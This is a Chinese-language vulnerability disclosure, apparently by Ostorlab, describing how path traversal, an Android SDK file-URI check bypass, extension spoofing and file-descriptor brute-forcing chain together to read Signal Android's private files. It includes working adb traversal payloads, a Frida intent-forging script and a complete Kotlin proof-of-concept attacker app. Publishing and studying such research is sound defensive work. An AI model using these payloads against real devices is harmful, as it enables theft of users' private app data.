从 Signal 到 Android SDK:串联路径遍历、Mimetype 混淆、安全检查绕过与文件描述符爆破以实现任意文件访问
本技术分析揭示了精巧的攻击链——结合路径遍历、符号链接操纵和 Android SDK 的怪异行为——如何能够突破 Signal Android 的防御以窃取敏感的内部文件,即便其传奇般的加密依然完好无损。尽管 Signal 在数天内修复了这些漏洞,但这些发现提供了至关重要的经验:看似微不足道的缺陷如何能被串联成强大的漏洞利用,以及为什么即便是最出色的安全架构也需要多层防御
引言
在 TeleMessage 数据泄露事件(一个带有误导性安全宣称的 Signal 分支)之后,我们 Ostorlab 决定审查 Signal 本身的安全性——这是一款以其稳健的安全实践而闻名的应用。借助我们的自动化漏洞扫描平台,我们在 Signal Android 截至 7.44.1 版本中发现了两处弱点,并配合 Android SDK 中的两处漏洞,这些问题可能允许访问内部文件,包括访问加密数据库、部分明文联系人、firebase 通知令牌,以及 webview 缓存和 cookie jar。
在深入技术细节之前,我们想要强调 Signal 对我们披露所做出的卓越响应。Signal 安全团队在仅仅 3 小时内就确认了我们的发现,并在数天内准备好了修复——这是安全漏洞应如何处理的典范。这种响应速度彰显了 Signal 对用户安全的承诺,为整个行业树立了黄金标准。
本文将对这些发现进行深入的技术剖析。
BlobContentProvider 中的路径遍历
- 类型: 通过 URL 解码后的分段进行的路径遍历
- 组件:
BlobContentProvider(BlobProvider.java:188) - 影响: 对内部应用文件的读取访问
- 状态: 已修复
我们的自动化静态分析通过污点传播到 org.thoughtcrime.securesms.providers.BlobContentProvider 中的 File <init> 方法,识别出了一个路径遍历漏洞。
BlobContentProvider 在 AndroidManifest.xml 中以 android:exported="false" 和 android:grantUriPermissions="true" 声明。
<provider android:name=".providers.BlobContentProvider"
android:authorities="${applicationId}.blob"
android:exported="false"
android:grantUriPermissions="true" />
org.thoughtcrime.securesms.providers.BlobContentProvider(具体为 BlobProvider.java:188)中存在一个路径遍历漏洞。该缺陷允许在构造内部 blob 文件名时操纵文件路径。
通过 Uri 访问 BlobContentProvider 的 openFile 方法。这通常需要提升的权限(例如 adb shell 访问),或者在某种场景下为一个可被操纵的 URI 授予了 grantUriPermissions。
BlobContentProvider 实现了 openFile(BlobContentProvider.java:34)作为读取请求的处理程序。该 openFile 函数接受一个由用户控制的 Uri 作为参数:
public ParcelFileDescriptor openFile(@NonNull Uri uri,
@NonNull String mode)
throws FileNotFoundException
随后,uri 参数被传递给 BlobProvider.getInstance().getStream(BlobContentProvider.java:38):
InputStream stream = BlobProvider.getInstance().getStream(AppDependencies.getApplication(), uri))
它接着调用 getBlobRepresentation(BlobProvider.java:161):
return
getBlobRepresentation(
context,
uri,
ByteArrayMediaDataSource::new,
file->EncryptedMediaDataSource.createForDiskBlob(getAttachmentSecret(context),file));
在 BlobProvider.java:188 处,uri 参数的 ID_PATH_SEGMENT(第 5 个分段)被提取出来。这个提取出的字符串被用于构建文件名,随后与一个目录路径组合,并传递给 File 构造函数:
String id = uri.getPathSegments().get(ID_PATH_SEGMENT);
String directory = getDirectory(storageType);
File file = new File(getOrCreateDirectory(context, directory), buildFileName(id));
Uri.getPathSegments() 方法(下方展示了摘录)会对每个路径分段执行 URL 解码。这意味着经过 URL 编码的路径遍历序列(例如用 %2F 表示 /)会在 File 对象被构造之前被解码为其字面字符,从而使遍历得以发生。
// Excerpt from Android SDK's Uri.java (similar to getPathSegments implementation)
/**
* Gets the individual path segments. Parses them if necessary.
*
* @return parsed path segments or null if this isn't a hierarchical
* URI
*/
PathSegments getPathSegments() {
if (pathSegments != null) {
return pathSegments;
}
String path = getEncoded();
if (path == null) {
return pathSegments = PathSegments.EMPTY;
}
PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
int previous = 0;
int current;
while ((current = path.indexOf('/', previous)) > -1) {
if (previous < current) {
String decodedSegment = decode(path.substring(previous, current)); segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}
if (previous < path.length()) {
segmentBuilder.add(decode(path.substring(previous))); }
return pathSegments = segmentBuilder.build();
}
在 getPathSegments 的实现中,对于提取出的 id,在解码之后、文件路径构造之前,并未对路径遍历序列(../ 或经 URL 编码的等价形式)执行任何净化处理。
以下 adb shell content read 命令可用于触发该路径遍历:
adb shell content read --uri "content://org.thoughtcrime.securesms.blob
/blob/single-session-disk/text_plain/test.txt
/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml"
Hook File 构造函数揭示了正在被处理的路径遍历 payload:
Attaching...
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::4020 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/
test.txt/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml
[+] Mode: r
[+] Stack trace:
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
...
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../shared_prefs/org.thoughtcrime.securesms_preferences.xml.blob (1)
[+] Stack trace:
java.io.File.<init>(Native Method)
org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[!] Exception in openFile: Error: java.io.FileNotFoundException
如图所示,路径遍历 payload ../../ 被 File 构造函数所使用。由于 buildFileName 函数会在文件名后追加一个 .blob 扩展名(org.thoughtcrime.securesms_preferences.xml.blob),直接读取目标文件被阻止,除非目标文件明确带有这一扩展名,否则会导致 FileNotFoundException。
要有可能规避这种文件名处理,可以创建一个指向目标文件的符号链接。 随后,这个符号链接的名称(不带 .blob 扩展名)将被传递给 Content Provider。这将有效绕过 .blob 扩展名检查,因为 File 构造函数接收到的是该符号链接的名称,而它随后解析到目标文件:
在一个可写、可访问的目录(如 /data/local/tmp)中创建一个名为 toto.blob 的符号链接,指向 Signal 私有数据内的一个敏感目标文件(targets.xml):
806290 lrwxrwxrwx 1 root root 98 2025-05-19 19:25 toto.blob -> /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml
adb shell content read --uri "content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto"
Hook File 构造函数揭示了正在被处理的路径遍历 payload:
Attaching...
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::27976 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto
[+] Mode: r
[+] Stack trace:
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms
[+] Child name: app_single_session_blobs
[+] Stack trace:
java.io.File.<init>(Native Method)
android.app.ContextImpl.makeFilename(ContextImpl.java:2861)
android.app.ContextImpl.getDir(ContextImpl.java:2558)
android.content.ContextWrapper.getDir(ContextWrapper.java:318)
org.thoughtcrime.securesms.providers.BlobProvider.getOrCreateDirectory(BlobProvider.java:452)
org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../../../../../../../../tmp/toto.blob
[+] Stack trace:
java.io.File.<init>(Native Method)
org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
android.content.ContentProvider.openFile(ContentProvider.java:1948)
android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
android.os.Binder.execTransactInternal(Binder.java:1154)
android.os.Binder.execTransact(Binder.java:1123)
[+] openFile returned successfully
通过这一机制读取的任何文件,即使它是一个明文文件,也会经过一个解密例程。因此,如果成功读取了一个明文文件,其内容会被“解密”,从而产生乱码或无法理解的输出。
然而,输出是用文件的最初几个字节进行解密的。读取带有可预测文件头的文件仍然可以被取回。此漏洞可以与文件读取漏洞(下一节)串联起来,以访问明文文件。
Signal 通过对 / 和其他特殊字符进行编码修复了该问题:
private static @Nullable String getId(@NonNull Uri uri) {
if (isAuthority(uri)) {
return Uri.encode(uri.getPathSegments().get(ID_PATH_SEGMENT));
}
return null;
}
@@ -422,7 +422,7 @@ public static boolean isAuthority(@NonNull Uri uri) {
}
private static @NonNull String buildFileName(@NonNull String id) {
return Uri.encode(id) + ".blob";
}
private static @NonNull String getDirectory(@NonNull StorageType storageType) {
使用 Uri.encode() 确保 / 字符仍保持编码为 %2F,从而防止路径遍历攻击。
ShareActivity 中的文件读取漏洞
- 类型: 通过 intent 操纵进行的任意文件读取
- 组件:
ShareActivity - 影响: 私有应用文件的窃取
- 状态: 已修复
<activity android:name=".sharing.v2.ShareActivity"
android:theme="@style/Theme.Signal.DayNight.NoActionBar"
android:exported="true"
android:excludeFromRecents="true"
android:taskAffinity=""
android:windowSoftInputMode="stateHidden"
android:configChanges="touchscreen|keyboard|keyboardHidden|orientation|screenLayout|screenSize">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="audio/*" />
<data android:mimeType="image/*" />
<data android:mimeType="text/plain" />
<data android:mimeType="video/*" />
<data android:mimeType="application/*"/>
<data android:mimeType="text/*"/>
<data android:mimeType="*/*"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND_MULTIPLE" />
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="image/*" />
<data android:mimeType="video/*" />
</intent-filter>
<meta-data
android:name="android.service.chooser.chooser_target_service"
android:value="androidx.sharetarget.ChooserTargetServiceCompat"
tools:targetApi="23" />
</activity>
在收到一个 intent 时,onCreate 回调(ShareActivity.kt:84)调用 getUnresolvedShareData(ShareActivity.kt:87)来校验和处理传入 intent 的数据。
getUnresolvedShareData 方法(ShareActivity.kt)会根据 intent 的 action 和 extra 以不同方式处理它们(例如第 198 行处带有 EXTRA_TEXT 的 ACTION_SEND_MULTIPLE、第 213 行处带有 EXTRA_STREAM 的 ACTION_SEND_MULTIPLE 等)。intent 内容最终被封装到 UnresolvedShareData 密封类(sealed class)之一中(UnresolvedShareData.kt):
sealed class UnresolvedShareData {
data class ExternalMultiShare(val uris: List<Uri>) : UnresolvedShareData()
data class ExternalSingleShare(val uri: Uri,
val mimeType: String?,
val text: CharSequence?) : UnresolvedShareData()
data class ExternalPrimitiveShare(val text: CharSequence) : UnresolvedShareData()
}
随后,它们由 ShareRepository.kt:25 中的 resolve 函数处理:
fun resolve(unresolvedShareData: UnresolvedShareData): Single<out ResolvedShareData> {
return when (unresolvedShareData) {
is UnresolvedShareData.ExternalMultiShare -> Single.fromCallable { resolve(unresolvedShareData) }
is UnresolvedShareData.ExternalSingleShare -> Single.fromCallable { resolve(unresolvedShareData) }
...
}.subscribeOn(Schedulers.io())
}
对于 UnresolvedShareData.ExternalSingleShare 类型的 intent,会通过 UriUtil.isValidExternalUri(UriUtil.kt:21)执行一项至关重要的安全检查:
private fun resolve(multiShareExternal: UnresolvedShareData.ExternalSingleShare): ResolvedShareData {
if (!UriUtil.isValidExternalUri(appContext, multiShareExternal.uri)) {
return ResolvedShareData.Failure
}
}
// UriUtil.kt:21
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
if (ContentResolver.SCHEME_FILE == uri.scheme) {
try {
val file = File(uri.path)
return file.canonicalPath == file.path &&
!file.canonicalPath.startsWith("/data") &&
!file.canonicalPath.contains(context.packageName)
} catch (e: IOException) {
return false
}
} else {
return true
}
}
这个 isValidExternalUri 函数正确地阻止了 file:// URI 指向内部应用数据目录(/data)或应用自身的包名。
然而,对于 UnresolvedShareData.ExternalMultiShare 类型的 intent(ShareRepository.kt 中针对 ExternalMultiShare 的 resolve),这项关键的 isValidExternalUri 检查却缺失了。处理的唯一条件是 intent 必须带有一个与图像或视频匹配的 mimeType(MediaUtil.isImageType(it) || MediaUtil.isVideoType(it))。
这使得一个恶意应用能够提供一个指向 Signal 私有数据目录内任意文件的 file:// URI。当这样的 intent 被处理时,Signal 内部的媒体处理例程将读取指定私有文件的内容,随后将其复制到自己内部的私有 blob 存储(app_single_session_blobs)中。
以下 Frida 脚本演示了一个恶意应用如何伪造并向 ShareActivity 发送一个 ACTION_SEND_MULTIPLE intent,迫使 Signal 从其私有数据目录中读取一个敏感文件(targets.xml,其中包含受害者的联系人姓名):
Java.perform(function () {
try {
var Intent = Java.use('android.content.Intent');
var intent = Intent.$new();
intent.setAction(Intent.ACTION_SEND_MULTIPLE.value);
intent.setType("image/png");
var Uri = Java.use('android.net.Uri');
var uri1 = Uri.parse("file://data/data/org.thoughtcrime.securesms"+
"/files/ShortcutInfoCompatSaver_share_targets/targets.xml");
var uri2 = Uri.parse("file://data/tmp/file.png");
var ArrayList = Java.use('java.util.ArrayList');
var uriList = ArrayList.$new();
uriList.add(uri1);
uriList.add(uri2);
intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM.value, uriList);
var ComponentName = Java.use('android.content.ComponentName');
var component = ComponentName.$new(
"org.thoughtcrime.securesms",
"org.thoughtcrime.securesms.sharing.v2.ShareActivity"
);
intent.setComponent(component);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);
var ActivityThread = Java.use('android.app.ActivityThread');
var context = ActivityThread.currentApplication().getApplicationContext();
context.startActivity(intent);
console.log("Intent sent successfully!");
} catch (e) {
console.error("Error sending intent: " + e);
}
});
在成功发送精心构造的 intent 后,Signal 读取了 targets.xml 的内容,并在其私有存储中创建了一个新的 blob 文件,通常位于 app_single_session_blobs 中。这个新 blob 的存在证实了内部的任意文件读取:
find . -name *blob | xargs ls -ali
./app_single_session_blobs/ad7843bd-5377-46ea-9a85-fe78d9f86050.blob
./app_single_session_blobs/e9dfcb56-c005-4150-bbf3-ca70960c05ab.blob
新创建的 blob 文件以加密格式存储在 Signal 的私有数据目录中。虽然 ShareActivity 促成了一次内部读取和复制,但恶意应用并未直接获得对明文内容的访问权。要取回这些 blob 的内容,还需要通过 BlobContentProvider 进行一次单独的读取操作。
要完全利用这一文件读取,需要解决三个问题:(1)由 Android SDK 强制执行的安全异常,(2)Signal 借助 Android SDK 强制执行的 mime 类型校验,以及(3)猜测使用 UUID 4 生成的随机文件名。
然而,由于在 Android SDK 中发现的两处新漏洞,以及滥用路径遍历漏洞来绕过文件名随机性,所有这些都可以被绕过。由于向后兼容性和技术可行性方面的挑战,这些 Android SDK 问题将不会被修复。
文件 URI 安全异常与文件类型混淆
前一个 bug 的前提是能够从恶意应用传入一个 file:// URI,它可以伪装成任意文件类型,同时仍引用任意文件类型。
从一个恶意应用发送以下 intent 会触发如下错误:
fun triggerVulnerability(): Boolean {
val intent = Intent().apply {
action = Intent.ACTION_SEND_MULTIPLE
type = "image/png"
};
var uris = ArrayList<Uri>()
var uri1 = Uri.parse("file:///data/data/org.thoughtcrime.securesms/" +
"shared_prefs/org.thoughtcrime.securesms_preferences.xml");
uris.add(uri1);
intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
intent.putExtra("android.intent.extra.shortcut.ID", "0");
startActivity(intent)
return true
}
该 URI 被 Android 阻止,并报告一个 FileUriExposedException。
然而,由于以 system 开头的检查存在一个边缘情况,这项检查可被轻而易举地绕过,因此以下 URL 允许传入 file://system/../data/ scheme 并绕过该安全异常。
public void checkFileUriExposed(String location) {
if ("file".equals(getScheme())
&& (getPath() != null) && !getPath().startsWith("/system/")) {
StrictMode.onFileUriExposed(this, location);
}
}
传入这个 URI 能够触达 Signal,但由于存在对 mime 类型是否匹配图像或视频的检查,它无法通过针对 URI 类型的检查
ResolvedShareData {
val mimeTypes: Map<Uri, String> = externalMultiShare.urisAdd commentMore actions
.filter { UriUtil.isValidExternalUri(appContext, it) }
.associateWith { uri -> getMimeType(appContext, uri, null) }
.filterValues {
MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
}
该检查使用 MediaTypeMap 方法从 URL 中获取文件扩展名
public static String getFileExtensionFromUrl(String url) {
if (!TextUtils.isEmpty(url)) {
int fragment = url.lastIndexOf('#');
if (fragment > 0) {
url = url.substring(0, fragment);
}
int query = url.lastIndexOf('?');
if (query > 0) {
url = url.substring(0, query);
}
int filenamePos = url.lastIndexOf('/');
String filename =
0 <= filenamePos ? url.substring(filenamePos + 1) : url;
// if the filename contains special characters, we don't
// consider it valid for our matching purposes:
if (!filename.isEmpty() &&
Pattern.matches("[a-zA-Z_0-9\\.\\-\\(\\)\\%]+", filename)) {
int dotPos = filename.lastIndexOf('.');
if (0 <= dotPos) {
return filename.substring(dotPos + 1);
}
}
}
return "";
}
然而,这一实现并不安全,存在漏洞,允许任意文件扩展名伪装成任何其他扩展名。问题源于对 ? 和 / 使用 lastIndexOf,导致该方法在下面的示例中处理的是 /a.png 而不是 toto.xml:
file://folder/toto.xml?/a.png?
将 Android SDK 中的这两个问题串联起来,可以传入任意 file:// URI 并访问 Signal 的任意类型的任意内部文件。下一个挑战是 UUID4 名称猜测。
文件名随机性
ShareActivity 使用不可预测的 UUID 4 创建带有随机名称的文件\。要从 content provider 访问它们,需要知道 blob id。
然而,这可以通过串联路径遍历并直接访问文件描述符来绕过。所有文件一旦被打开,都会返回一个文件描述符编号。这通常是一个较小的递增编号,很容易被爆破。此外,该文件描述符会在 /proc/<pid>/fd/<fd_number> 处存在一个指向已打开文件描述符的符号链接。
文件描述符编号很容易被预测,从下方的 trace 中可以看到,blob 是以文件描述符 251(0xfb)打开的。
我们也可以通过观察 fd 文件夹来确认文件描述符的创建,如下方截图所示:
因此,一个恶意应用有可能带着 FLAG_ACTIVITY_NEW_TASK 标志重复触发 intent,以确保创建多个 activity。与此同时,该恶意应用会尝试读取所有符号链接,直到获得匹配,下面是实现这一目的的示例代码:
package co.ostorlab.malsignal
import android.content.Intent
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.system.Os
import android.util.Log
import androidx.activity.ComponentActivity
import java.io.File
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
triggerSecurityException()
}
private fun createSymlinks() {
// Create 100 symbolic links from number.blob to /proc/self/fd/number
for (i in 0..99) {
val symlinkFile = File("/data/data/co.ostorlab.malsignal", "$i.blob")
// Delete if it exists, to recreate it.
if (symlinkFile.exists())
symlinkFile.delete()
Os.symlink("/proc/self/fd/$i", symlinkFile.absolutePath)
symlinkFile.setReadable(true, false)
symlinkFile.setWritable(true, false)
Log.d("PoC", "Created symlink: ${symlinkFile.absolutePath} -> /proc/self/fd/$i")
}
}
fun triggerSecurityException(): Boolean {
createSymlinks()
// Thread to continuously send intents to Signal to force it to open its preferences file
Thread {
while (true) {
val intent = Intent().apply {
action = Intent.ACTION_SEND_MULTIPLE
type = "image/png"
setPackage("org.thoughtcrime.securesms")
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
val uris = ArrayList<Uri>()
val uri1 = Uri.parse("file:///system/../data/data/org.thoughtcrime.securesms/shared_prefs/org.thoughtcrime.securesms_preferences.xml?/a.png?")
uris.add(uri1)
intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris)
intent.putExtra("android.intent.extra.shortcut.ID", "1");
try {
startActivity(intent)
} catch (e: Exception) {
Log.e("PoC", "Error starting activity for intent sending thread", e)
}
}
}.start()
// Thread to continuously query Signal's BlobContentProvider to race and read the FD
Thread {
val signalBlobProviderAuthority = "org.thoughtcrime.securesms.blob"
// Path traversal to get from Signal's blob dir to our cache dir.
// Assumes blob dir is 2 levels deep, e.g., /data/data/pkg/files/blobs
val traversalPath = "blob/single-session-disk/text_plain/test.txt/1024/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fco.ostorlab.malsignal"
while (true) {
for (i in 0..300) {
val maliciousUri = Uri.parse("content://$signalBlobProviderAuthority/$traversalPath$i")
try {
contentResolver.openInputStream(maliciousUri)?.use { inputStream ->
val content = inputStream.bufferedReader().readText()
if (content.isNotBlank()) {
Log.d("PoC", "SUCCESS! Leaked content from FD $i:\n$content")
}
}
} catch (e: Exception) {
// This is expected to fail most of the time as we are racing.
}
}
}
}.start()
return true
}
}
附加内容:修复与 TOCTOU 分析
Signal 通过实现全面的 URI 校验解决了 ShareActivity 漏洞。然而,该修复包含一个理论上的检查时刻与使用时刻(TOCTOU)漏洞,尽管在学术上颇有意思,但由于 Android 的文件系统限制,在实践中无法被利用。
Signal 通过 isValidExternalUri 方法增加了校验:
/**
* Ensures that an external URI is valid and doesn't contain any references to internal files or
* any other trickiness.
*/
@JvmStatic
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
if (ContentResolver.SCHEME_FILE == uri.scheme) {
try {
val file = File(uri.path)
return file.canonicalPath == file.path &&
!file.canonicalPath.startsWith("/data") &&
!file.canonicalPath.contains(context.packageName)
} catch (e: IOException) {
return false
}
} else {
return true
}
}
这项校验被应用于 ShareActivity 中的所有 URI:
private fun resolve(externalMultiShare: UnresolvedShareData.ExternalMultiShare): ResolvedShareData {
val mimeTypes: Map<Uri, String> = externalMultiShare.uris
.filter { UriUtil.isValidExternalUri(appContext, it) } // Validation happens here
.associateWith { uri -> getMimeType(appContext, uri, null) }
.filterValues {
MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
}
// ... rest of processing
}
该校验针对 file:// URI 执行三项关键检查:
- 规范路径检查(Canonical Path Check):
file.canonicalPath == file.path - 通过确保解析后的路径与原始路径一致来防止符号链接遍历
-
阻断任何通过符号链接进行的间接寻址
-
数据目录屏蔽(Data Directory Block):
!file.canonicalPath.startsWith("/data") - 防止访问任何应用的私有数据
-
屏蔽存放敏感文件的整个 /data 分区
-
包名检查(Package Name Check):
!file.canonicalPath.contains(context.packageName) - 针对访问 Signal 文件的额外防御
- 捕获文件可能存在于 /data 之外的边缘情况
由于校验与实际使用文件之间存在时间间隙,一个 TOCTOU 漏洞得以存在:
时刻 T1:isValidExternalUri() 检查该文件
- 读取规范路径
- 校验其安全性
- 返回 true
时刻 T2:ShareActivity 处理该文件
- 打开并读取该文件
- 复制到 blob 存储
- 攻击者提供一个合法的文件路径(例如
/sdcard/innocent.jpg) - 校验在 T1 时通过
- 在 T1 与 T2 之间,攻击者将该文件替换为一个指向
/data/data/org.thoughtcrime.securesms/private_file的符号链接 - ShareActivity 在 T2 时读取该私有文件
Android 的文件系统架构由于以下原因阻止了这种 TOCTOU 利用:
1. 有限的写入权限:
/data/ ← Only writable by apps in their own directories
/sdcard/ ← Writable but doesn't support symlinks
/system/ ← Read-only
/vendor/ ← Read-only
/tmp/ ← Maps to /data/
2. 外部存储限制:
- Android 用于外部存储(
/sdcard)的 FUSE 文件系统明确阻止符号链接的创建 - 尝试创建符号链接会以
Operation not permitted失败:
vbox86p:/data/data/org.thoughtcrime.securesms # ln -s /data/local/tmp/target /sdcard/link
ln: cannot create symbolic link from '/data/local/tmp/target' to '/sdcard/link': Function not implemented
4. 理论上的绕过前提条件: 要使这一 TOCTOU 可被利用,攻击者需要:
- 对
/data之外某个支持符号链接的目录拥有写入权限 - 能够在该目录中创建/修改文件
整合运用
下面是一张示意图,展示了 Signal 和 Android SDK 中的不同问题如何能被串联起来,以读取 Signal 应用中的文件:
- 向
ShareActivity爆破 intent,以触发读取内部文件 - 内部文件被加密并添加到
BlobProvider中 BlobProvider生成一个随机的 UUID 文件名,并将其添加到内部数据库中- 恶意应用对针对指向文件描述符的符号链接的路径遍历进行爆破和利用
BlobProvider会指向符号文件,读取指向实际文件的文件描述- 由于密钥存储在文件的头部,
BlobProvider会解密并以明文返回文件内容 - 文件最终以明文返回给应用
由于文件描述符存活时间很短,这一方法必须在循环中进行,直到我们能够泄露目标文件为止。
影响与安全教训
通过这些漏洞,攻击者有可能访问 Signal 的内部文件结构。我们的分析既揭示了 Signal 加密架构的强大之处,也揭示了敏感数据仍然暴露的方面。以下是我们所发现内容的详细分解:
1. Shared Preferences 目录(/data/data/org.thoughtcrime.securesms/shared_prefs/)
这些漏洞提供了对若干 XML 偏好设置文件的访问:
FirebaseHeartBeatW0RFRkFVTFRd+MTozMTIzMzQ3NTQyMDY6YW5kcm9pZDphOTI5N2IxNTI4NzlmMjY2.xml
SecureSMS-Preferences.xml
WebViewChromiumPrefs.xml
com.google.firebase.messaging.xml
org.thoughtcrime.securesms_preferences.xml
2. 加密的加密密钥(org.thoughtcrime.securesms_preferences.xml)
该文件包含 Signal 最敏感的配置数据,使用存储在 Keystore 中的共享密钥加密:
<!-- Database Encryption Key (encrypted) -->
<string name="pref_database_encrypted_secret">{
"data":"2svYD9iQG6OfHED1UaOwXE5LJxKYQF8cdOPKuO8qFSSzJjpbSQFPIek6lD6IQdgn",
"iv":"NjYUlRR5zFafr+/O"
}</string>
<!-- Attachment Encryption Key (encrypted) -->
<string name="pref_attachment_encrypted_secret">{
"data":"F3K0UcrC8w0tr63tV4W5YF4q/X7MtXXdu18bVg8uC3HCCEAIzwQnYrZcY82UMRkacixOojMjyFaNURV29yjuVeMSnhVQx8JjRKPOF08wUBMy3GbTOaNXPsbBxJhzQL7O1/3UniTIE3wf5GNa8PPW4KOPwtlqx8ye",
"iv":"4poKjqQ+7uIQvNAj"
}</string>
<!-- Backup Passphrase (encrypted) -->
<string name="pref_encrypted_backup_passphrase">{
"data":"1SPumdNl5WDvtkUhF3ELScZwItO3s/aWjr8IolTa3eFvioUvDIeAMNiXkvFhyqWPuAH4",
"iv":"5BGyF7jmtjOA5c1x"
}</string>
3. 元数据与配置
该偏好设置文件还暴露了各种元数据:
- 安装时间戳和版本
- 用户偏好设置(已读回执、正在输入指示)
- 备份计划时间戳
- 密钥轮换时间戳
- 迁移版本跟踪
4. 明文文件
若干文件存储了未加密的数据:
- XML Targets 文件泄露了用于共享快捷方式的联系人信息
WebViewChromiumPrefs.xml:WebView 配置和状态- Firebase 配置:推送通知令牌和配置
- 各种缓存文件:临时数据和用户偏好设置
位于 /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml 的公开联系人:
<?xml version='1.0' encoding='UTF_8' standalone='yes' ?>
<share_targets>
<target id="2" short_label="Note to Self" rank="1" long_label="Note to Self" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="4" short_label="Toto" rank="2" long_label="Toto TopBar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="20" short_label="Foo" rank="0" long_label="Foo Bar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
</share_targets>
Signal 实现了多层加密。第一层是使用 SQLCipher 的数据库加密:
private static @NonNull DatabaseSecret getOrCreate(@NonNull Context context) {
